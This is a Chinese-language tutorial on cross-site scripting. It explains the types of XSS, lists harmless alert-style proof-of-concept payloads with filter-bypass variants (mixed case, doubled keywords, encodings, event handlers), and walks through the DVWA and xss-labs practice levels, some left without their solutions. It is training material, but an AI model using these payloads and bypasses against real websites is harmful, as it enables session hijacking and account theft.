XSS 跨站脚本
一、 什么是XSS
XSS(Cross-site Scripting),中文名跨站脚本攻击。其原理是攻击者利用浏览器执行前端代码(HTML、CSS、JavaScript)的特性,将恶意的JavaScript代码插入到页面中,当用户浏览页面时,导致恶意代码被执行。
二、XSS的危害
1)、窃取用户cookie资料,冒充用户身份进入网站
2)、劫持用户会话,执行任意操作
3)、刷流量,执行弹窗广告
4)、盗取各种用户账号
5)、传播蠕虫病毒
6)、攻击者能在一定限度内记录用户的键盘输入
三、XSS的分类
1、反射型XSS
也称为非持久型的XSS,客户端访问某条链接时,可以将恶意代码植入URL,若服务器未对URL参数进行全面的处理、过滤,那么将造成XSS漏洞。参数型脚本在搜索框等地方。
数据走向:浏览器 —— 后端 —— 浏览器
2、存储型XSS
称为持久型XSS,可以将输入的代码持久的保存到服务器上,显示到HTML页面中,经常出现在网站的评论、弹幕、建议栏、博客发布界面等页面。
数据走向:浏览器 —— 后端 —— 数据库 —— 后端 —— 浏览器
3、DOM型XSS
基于文档对象模型(Document Object model)的漏洞
四、XSS Payload构造
原文链接:https://blog.csdn.net/Fighting_hawk/article/details/123095511
1、利用<>构造HTML标签和标签
<script> alert (/xss/) </script>
<script> confirm ('xss') </script>
<script> prompt("xss") </script>
2、利用HTML标签的属性值(伪协议)
例如:
//利用a标签的javascript:伪协议
<a href="javascript :alert(/xss/)"> touch me! </a>
3、利用事件
Windows事件(对Windows对象触发的事件)
Form事件(HTML表单内的动作触发器事件)
Keyboard 事件(键盘按键)
Mouse事假(由鼠标或类似用户动作触发的事件)
Media事件(由多媒体触发的事件)
<img src='./smile.jpg' onmouseover='alert(/xss/)'> //该标签会引入一张图片,然后鼠标悬停在图片上的时候,会触发XSS代码。
<img src='./smile.jpg' onerror='alert(/xss/)'> //onerror会在文档载入失败时触发XSS,比如下一个语句
<img src='#' onerror='alert(/xss/)'> //与上一个语句相比,将文件路径改成#,一定载入失败,触发XSS
<input type="text" onkeydown="alert(/xss/)"> //单行文本框的键盘点击事件,当点击键盘任一按键时触发XSS。
<input type="text" onkeyup="alert(/xss/)">
<input type="button" onclick="alert(/xss/)">
4、利用css
<div style = "backgroud-image:url(javascript:alert(/xss/))">
//页内样式
<style>Body{backgroud-image:url(javascript:alert(/xss/))}</style>
//外部样式
<link rel="stylesheet" type="text/css" href="./xss.css"><div>hello<div>
五、XSS Payload 变形
1、大小写:改变XSS payload 构造的大小写混编
<A Href="javascript :alert(/xss/)"> touch me! </a>
2、双写关键字
<sc<script>ript> alert (/xss/) </script>
3、引号,在html标签中可以不用引号,若在js中,可以用反引号代替双引号。
<img src="#" onerror="alert(/xss/)">
<img src='#' onerror='alert(/xss/)'>
<img src=# onerror=alert(/xss/)>
4、编码
1、URL编码: 一个百分号和该字符的ASCII编码所对应的2位十六进制数字。
2、HTML实体编码: 以&开头,分号结尾的。 例如“<”的编码是“<”
HTML实体编码(10进制与16进制)
3、JavaScript编码: js提供了四种字符编码的策略
三个八进制数字,如果不够个数,前面补0,例如“<”编码为“\074”
两个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\x3c”
四个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\u003c”
4.base64编码: 一般需要配合data协议使用
5、用 / 来代替空格
<img/src='./smile.jpg'/onmouseover='alert(/xss/)'>
6、Tab 与 回车:在一些位置添加Tab和回车符来绕过关键字检测
<img src ='./smile.jpg'onmouseover='alert(/xss/)'>
<a href="jav
ascript :alert(/xss/)"> touch me! </a>
六、靶场练习
一、DVWA
1、反射型XSS(reflected)
low等级 :
输入 <script>alert(/XSS/)</script>
Medium等级
查看源码,str_replace把
大小写绕过:<ScriPt>alert(/XSS/)</ScriPt>
还可以用其他标签绕过<img>、<a>
high等级
因为对
<img src="1.jpg" onerror='alert(/XSS/)'>
2、存储型XSS(stored)
low等级
分析源码
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
stripslashes(string)去除掉string字符里面的反斜杠\
输入:<script>alert("886")</script>
Medium等级
查看源码,发现只对name框进行了过滤“script”处理。所以可以通过双写和大小写进行绕过。
<Script>alert("大小写绕过")</Script>
<sc<script>ript>alert("双写绕过")</script>
通过输入发现,对name输入的长度有限制
找到name框的长度设置
修改完name的长度限制,就可以插入语句
high等级
strip_tags()函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用标签。
addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
通过观察源代码,发现都对name和message框进行一定的过滤。可以通过构造伪协议进行绕过。
<img src="1.jpg" onerror=alert("绕过")>
3、DOM型XSS
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
low等级 :
选择下拉列表框,查看源码,在input上插入代码
Medium等级
high等级
二、XSS
level 1
level 2
通过提交的代码查看页面源代码,可以发现在h2标签中恶意代码被编码了,其中<和>都被编码成了html字符实体。将属性的引号和标签先闭合来进行尝试,左边的 "> 去闭合原先的 " , 右边的 // 去注释原先的 ">
htmlspecialchars() 函数把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体:
level 3
与第二关相似,但它也对内容进行了编码
这里可以通过input标签的一些特殊事件来执行js代码,onfocus事件属性,需要点击输入框才能出现弹窗.
level 4
与第二关相似,但它是双引号类型的
level 5
通过输入测试语句,分析网页源代码发现,可以构造伪协议的方式来进行
使用javascript的伪协议,使用a标签
level 6
经过多种测试,发现有些关键字会被加下划线
当时用伪协议的大小写绕过就可以
level 7
先输入测试语句,进行测试
<script>alert(/xss/)</script>
发现将 < 和 > 进行编码处理了,把script字符直接删除了
使用onfocus事件进行测试
也可双写绕过
level 8
测试payload,可以看见前面测试过的基本都过滤了,大小写也都卡的死死的
通过查看源代码,可以发现对关键字转为小写,对关键字加下换线进行处理,对<,>y也做转为实体的处理
所以我们可以尝试通过编码的方式来进行操作
使用编码工具,将代码进行编码
点击友情链接
level 9
与level 8 一样
level 10
先用测试语句进行测试,发现有一个表单,这里有三个input标签的话,也就意味着是三个参数,我们要测试哪一个input可行
查看网页后端源代码,发现可以对t_sort进行传值,但对< , >进行了过滤,所以可以用利用事件进行注入
但是因为input是隐藏的,所以不会触发事件,需要通过其它方法触发
可以采用type属性:
level 11
输入测试语句,查看页面源代码,发现与level 10 相似
再用level 10 的方法做了一遍发现没用,在仔细观察页面源代码,发现最后一个input有一个URL地址,所以referer头也成了输出参数
level 12
通过查看页面源代码判断user-agent字段为web页面的自定义变量,可能存在xss注入点
level 13
通过查看页面源代码判断Cookies 字段为web页面的自定义变量,可能存在xss注入点
所以格式为user=插入的代码
level 14
看其他文章说这是一个exif xss漏洞,点击这个连接可以得到一个图片,在查看图片的属性,在属性中插入代码,再上传图片就可以执行,但是这个连接打不开
level 15
采用 onmouseover事件
level 16
用onmouseover事件
level 17
看这个URL应该是要进行参数拼接
因为原来的图片加载不出来,所以换了个图片